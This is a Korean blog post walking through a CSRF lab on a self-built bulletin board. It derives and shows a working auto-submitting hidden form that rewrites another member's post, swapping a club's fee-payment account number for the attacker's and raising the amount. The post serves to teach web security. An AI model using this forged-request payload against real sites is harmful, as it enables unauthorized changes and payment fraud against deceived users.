보안을 그리다, 훈이

[Web Hacking] CSRF(Cross-Site Request Forgery) 실습 본문

Security/Web Hacking

[Web Hacking] CSRF(Cross-Site Request Forgery) 실습

HooNeee 2021. 11. 11. 18:16

 

 

앞서 포스팅한 [Web Hacking] CSRF(Cross-Site Request Forgery) 취약점을 토대로 실습을 진행해보았다.

 

CSRF(Cross-Site Request Forgery) 실습

 

미리 구현한 게시판 환경에서 실습해보도록 하겠다.

 

[CSRF] Board - Article List

 

본 웹페이지를 한사랑산악회 게시판이라고 가정, 운영진이 [한사랑산악회] 회비 납부 관련의 건.을 제목으로 한 게시글을 업로드하였다.

 

[CSRF] Board - View Article

 

산악회 회원이라면 당연히 위 게시글을 읽어야만 할 것이고, 이후 명시된 바와 같이 기한 내에 30만원을 산악회 계좌번호로 납부할 것이다.

 

여기서 본 산악회 게시판이 CSRF 기법에 대한 방어가 제대로 갖춰져 있지 않다면 요청을 위조(Request Forgery)하여 해당 게시글을 수정하거나 삭제하는 등 공격자가 행하고자 하는 각종 공격에 취약할 수 밖에 없다.

 

분석을 위해 hacker 계정으로 게시판에 로그인하고 test 게시글을 작성한 후, 수정 기능을 이용하여 수정 웹페이지인 modify.php의 소스코드를 보도록 하겠다.

 

<!-- modify.php -->

<!DOCTYPE html>
<html>

<head>
    <meta charset='utf-8'>
    <style>
        table.table2 {
            border-collapse: separate;
            border-spacing: 1px;
            text-align: left;
            line-height: 1.5;
            border-top: 1px solid #ccc;
            margin: 20px 10px;
        }

        table.table2 tr {
            width: 50px;
            padding: 10px;
            font-weight: bold;
            vertical-align: top;
            border-bottom: 1px solid #ccc;
        }

        table.table2 td {
            width: 100px;
            padding: 10px;
            vertical-align: top;
            border-bottom: 1px solid #ccc;
        }
    </style>
</head>

<body>
            <form method="POST" action="modify_action.php">
            <table style="padding-top:50px" align=center width=auto border=0 cellpadding=2>
                <tr>
                    <td style="height:40; float:center; background-color:#3C3C3C">
                        <p style="font-size:25px; text-align:center; color:white; margin-top:15px; margin-bottom:15px"><b>게시글 수정하기</b></p>
                    </td>
                </tr>
                <tr>
                    <td bgcolor=white>
                        <table class="table2">
                            <tr>
                                <td>작성자</td>
                                <td><input type="hidden" name="id" value="hacker">hacker</td>
                            </tr>

                            <tr>
                                <td>제목</td>
                                <td><input type=text name=title size=87 value="test"></td>
                            </tr>

                            <tr>
                                <td>내용</td>
                                <td><textarea name=content cols=75 rows=15>testing</textarea></td>
                            </tr>

                        </table>

                        <center>
                            <input type="hidden" name="number" value="7">
                            <input style="height:26px; width:47px; font-size:16px;" type="submit" value="작성">
                        </center>
                    </td>
                </tr>
            </table>
        </form>
    </body>

</html>

 

<form> 태그를 통해 modify.php에서 입력받은 데이터를 POST 형식으로 modify_action.php 웹페이지로 전송함으로서 게시글 수정이 발생한다는 것을 파악할 수 있다.

 

위 소스코드를 참고하여 CSRF 스크립트를 제작하도록 하겠다.

 

먼저, <form> 태그와 <input> 태그를 남겨두고 쓸데 없는 코드들은 모두 지워보았다.

 

<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="hacker">hacker</td>
<input type=text name=title size=87 value="test"></td>
<!-- <textarea name=content cols=75 rows=15>testing</textarea></td> -->
<input type="hidden" name="number" value="7">
<!-- <input style="height:26px; width:47px; font-size:16px;" type="submit" value="작성"> -->

 

이제 게시글 수정 시 전송되는 파라미터 등을 스니핑하여 파악하기 위해 웹 프록시 툴인 Burp Suite를 사용하여도 되지만 지난번에 사용했으므로 이번에는 패킷 분석 툴인 Wireshark를 사용하여 분석해보았다.

 

[Board] 게시글 작성

 

[Wireshark] 게시글 수정 패킷

 

위 그림은 게시글을 수정할 때 오가는 패킷이다.

 

POST 형식으로 /modify_action.php에 작성자(id)와 게시글 제목(title), 게시글 본문(content) 그리고 게시글 번호(number)가 함께 전송되는 것을 확인할 수 있다.

 

따라서, <textarea> 형식을 사용하던 게시글 본문(content)을 <input type="text"> 형식으로 변환하여 다음과 같이 파라미터 형식에 추가한다.

 

<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="hacker">
<input type=text name=title value="test">
<input type=text name=content value="testing">
<input type="hidden" name="number" value="7">

 


 

이제 한사랑산악회 계정으로 작성된 [한사랑산악회] 회비 납부 관련의 건. 게시글을 수정해보도록 하겠다.

 

수정하고자 하는 게시글의 번호(number)는 6으로 세팅하고, 작성자(id)인 한사랑산악회, 게시글 제목(title)인 [한사랑산악회] 회비 납부 관련의 건.은 그대로 두도록 한다.

 

<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="한사랑산악회">
<input type=text name=title value="[한사랑산악회] 회비 납부 관련의 건.">
<input type=text name=content value="testing">
<input type="hidden" name="number" value="6">

 

기존 게시글 본문(content)에 대하여, 산악회 계좌번호를 공격자의 계좌번호로, 납부금액은 기존보다 인상한 금액으로 아래와 같이 변경하려고 한다.

 

[공격자의 계좌번호로 변경]
OO은행 1234-567-890123 한사랑산악회 → □□은행 0909-090-090123
(※ 예금주명 삭제)


[회비 납부금액 변경]
일금삼십만원정(₩300,000) → 일금오십만원정(₩500,000)


파라미터를 관리자 몰래 전송하기 위해 모든 type은 hidden으로 변경한다.

 

또한, <form> 태그의 action은 절대경로로 입력하여야 하고, name은 임의로 지정한다.

단, <body> 태그의 onload에 명시된 document와 submit 사이에 동일한 name이 존재하여야 한다.

 

CSRF 코드를 최종 정리해보면 다음과 같다.

 

<body onload="document.csrf.submit();">
<form name="csrf" method="POST" action="http://127.0.0.1:8080/modify_action.php">
<input type="hidden" name="id" value="한사랑산악회">
<input type=hidden name=title value="[한사랑산악회] 회비 납부 관련의 건.">
<input type=hidden name=content value="열쩡! 열쩡! 열쩡!</br></br>안녕하십니까!</br>한사랑산악회 회장 김 영 남 인사 올립니다.</br></br>우리 산악회 「회칙」 제7조제2항제1호에 의거하여 2021년 4분기 회비를 아래와 같이 납부하여 주시기 바랍니다.</br></br></br>----------------------------------------   아                    래   -----------------------------------------</br></br>[2021년 4분기 회비 납부 안내]</br></br>계좌번호 : □□은행 0909-090-090123</br>납부금액 : 일금오십만원정(₩500,000)</br>납부기한 : 2021년 11월 15일</br>">
<input type="hidden" name="number" value="6">
</form>

 

위 코드는 해당 웹페이지 접속과 동시에 CSRF 코드를 수행하도록 한다.

 

[Board] CSRF 코드 게시

 

위와 같이 게시판에 최종적인 CSRF 코드를 게시하였고, 본 게시글을 클릭하면 '수정되었습니다.'라는 alert 창과 함께 공격자가 의도한 대로 한사랑산악회 게시글이 수정되는 것을 확인할 수 있다.

 

[Board] CSRF 공격으로 수정된 게시글 확인

 

이렇게 CSRF 실습(수정)이 성공적으로 완료되었다.

 

Comments